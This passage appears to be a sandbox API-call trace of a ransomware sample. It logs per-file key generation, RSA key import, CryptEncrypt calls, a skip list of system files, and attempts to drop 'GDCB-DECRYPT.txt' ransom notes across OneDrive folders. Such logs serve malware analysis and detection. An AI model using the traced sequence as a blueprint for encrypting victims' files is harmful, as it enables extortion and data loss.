CryptEncrypt (in: hKey=0x636158, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f30000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2f30000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.895] GetLastError () returned 0x0 [0171.895] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.895] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0171.897] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x635c58) returned 1 [0171.897] CryptGetKeyParam (in: hKey=0x635c58, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.897] CryptEncrypt (in: hKey=0x635c58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f40000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2f40000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.897] GetLastError () returned 0x0 [0171.897] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.897] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AppWhite.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\appwhite.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.897] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.897] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.897] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.897] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.897] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ar\\\\GDCB-DECRYPT.txt") returned 277 [0171.897] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ar\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\ar\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.897] GetLastError () returned 0x3 [0171.897] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.897] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.897] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.897] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.897] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\as-in\\\\GDCB-DECRYPT.txt") returned 280 [0171.897] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\as-in\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\as-in\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.897] GetLastError () returned 0x3 [0171.898] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.gif") returned 274 [0171.898] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.gif") returned 274 [0171.898] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.gif") returned 274 [0171.898] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.gif") returned 274 [0171.898] lstrcmpiW (lpString1="AutoPlayOptIn.gif", lpString2="desktop.ini") returned -1 [0171.898] lstrcmpiW (lpString1="AutoPlayOptIn.gif", lpString2="autorun.inf") returned -1 [0171.898] lstrcmpiW (lpString1="AutoPlayOptIn.gif", lpString2="ntuser.dat") returned -1 [0171.898] lstrcmpiW (lpString1="AutoPlayOptIn.gif", lpString2="iconcache.db") returned -1 [0171.898] lstrcmpiW (lpString1="AutoPlayOptIn.gif", lpString2="bootsect.bak") returned -1 [0171.898] lstrcmpiW (lpString1="AutoPlayOptIn.gif", lpString2="boot.ini") returned -1 [0171.898] lstrcmpiW (lpString1="AutoPlayOptIn.gif", lpString2="ntuser.dat.log") returned -1 [0171.898] lstrcmpiW (lpString1="AutoPlayOptIn.gif", lpString2="thumbs.db") returned -1 [0171.898] lstrcmpiW (lpString1="AutoPlayOptIn.gif", lpString2="GDCB-DECRYPT.txt") returned -1 [0171.898] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\autoplayoptin.gif")) returned 0xffffffff [0171.898] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.gif", dwFileAttributes=0xfffffffe) returned 0 [0171.898] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.898] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.899] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.899] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.899] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.899] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0171.899] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.899] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.899] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.899] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.900] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0171.901] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636218) returned 1 [0171.901] CryptGetKeyParam (in: hKey=0x636218, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.901] CryptEncrypt (in: hKey=0x636218, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f50000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2f50000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.903] GetLastError () returned 0x0 [0171.903] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.903] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0171.905] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636398) returned 1 [0171.905] CryptGetKeyParam (in: hKey=0x636398, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.905] CryptEncrypt (in: hKey=0x636398, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f60000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2f60000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.905] GetLastError () returned 0x0 [0171.905] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.905] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\autoplayoptin.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.905] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.png") returned 274 [0171.906] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.png") returned 274 [0171.906] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.png") returned 274 [0171.906] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.png") returned 274 [0171.906] lstrcmpiW (lpString1="AutoPlayOptIn.png", lpString2="desktop.ini") returned -1 [0171.906] lstrcmpiW (lpString1="AutoPlayOptIn.png", lpString2="autorun.inf") returned -1 [0171.906] lstrcmpiW (lpString1="AutoPlayOptIn.png", lpString2="ntuser.dat") returned -1 [0171.906] lstrcmpiW (lpString1="AutoPlayOptIn.png", lpString2="iconcache.db") returned -1 [0171.906] lstrcmpiW (lpString1="AutoPlayOptIn.png", lpString2="bootsect.bak") returned -1 [0171.906] lstrcmpiW (lpString1="AutoPlayOptIn.png", lpString2="boot.ini") returned -1 [0171.906] lstrcmpiW (lpString1="AutoPlayOptIn.png", lpString2="ntuser.dat.log") returned -1 [0171.906] lstrcmpiW (lpString1="AutoPlayOptIn.png", lpString2="thumbs.db") returned -1 [0171.906] lstrcmpiW (lpString1="AutoPlayOptIn.png", lpString2="GDCB-DECRYPT.txt") returned -1 [0171.906] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\autoplayoptin.png")) returned 0xffffffff [0171.906] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.png", dwFileAttributes=0xfffffffe) returned 0 [0171.906] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.906] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.907] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.907] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.907] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.907] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0171.907] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.907] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.908] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.908] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0171.908] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0171.910] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x635e98) returned 1 [0171.910] CryptGetKeyParam (in: hKey=0x635e98, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.910] CryptEncrypt (in: hKey=0x635e98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f70000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2f70000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.910] GetLastError () returned 0x0 [0171.910] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.910] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0171.912] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636258) returned 1 [0171.912] CryptGetKeyParam (in: hKey=0x636258, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.912] CryptEncrypt (in: hKey=0x636258, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f80000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2f80000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.912] GetLastError () returned 0x0 [0171.912] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.912] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AutoPlayOptIn.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\autoplayoptin.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.912] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.912] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.912] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.912] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.912] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\az-latn-az\\\\GDCB-DECRYPT.txt") returned 285 [0171.913] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\az-latn-az\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\az-latn-az\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.913] GetLastError () returned 0x3 [0171.913] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.913] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.913] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.913] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.913] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\be\\\\GDCB-DECRYPT.txt") returned 277 [0171.913] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\be\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\be\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.913] GetLastError () returned 0x3 [0171.913] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.913] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.913] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.913] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.913] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\bg\\\\GDCB-DECRYPT.txt") returned 277 [0171.913] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\bg\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\bg\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.913] GetLastError () returned 0x3 [0171.913] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.913] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.913] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.913] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.913] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\bn-bd\\\\GDCB-DECRYPT.txt") returned 280 [0171.913] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\bn-bd\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\bn-bd\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.913] GetLastError () returned 0x3 [0171.913] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.913] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.913] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.913] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.914] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\bn-in\\\\GDCB-DECRYPT.txt") returned 280 [0171.914] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\bn-in\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\bn-in\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 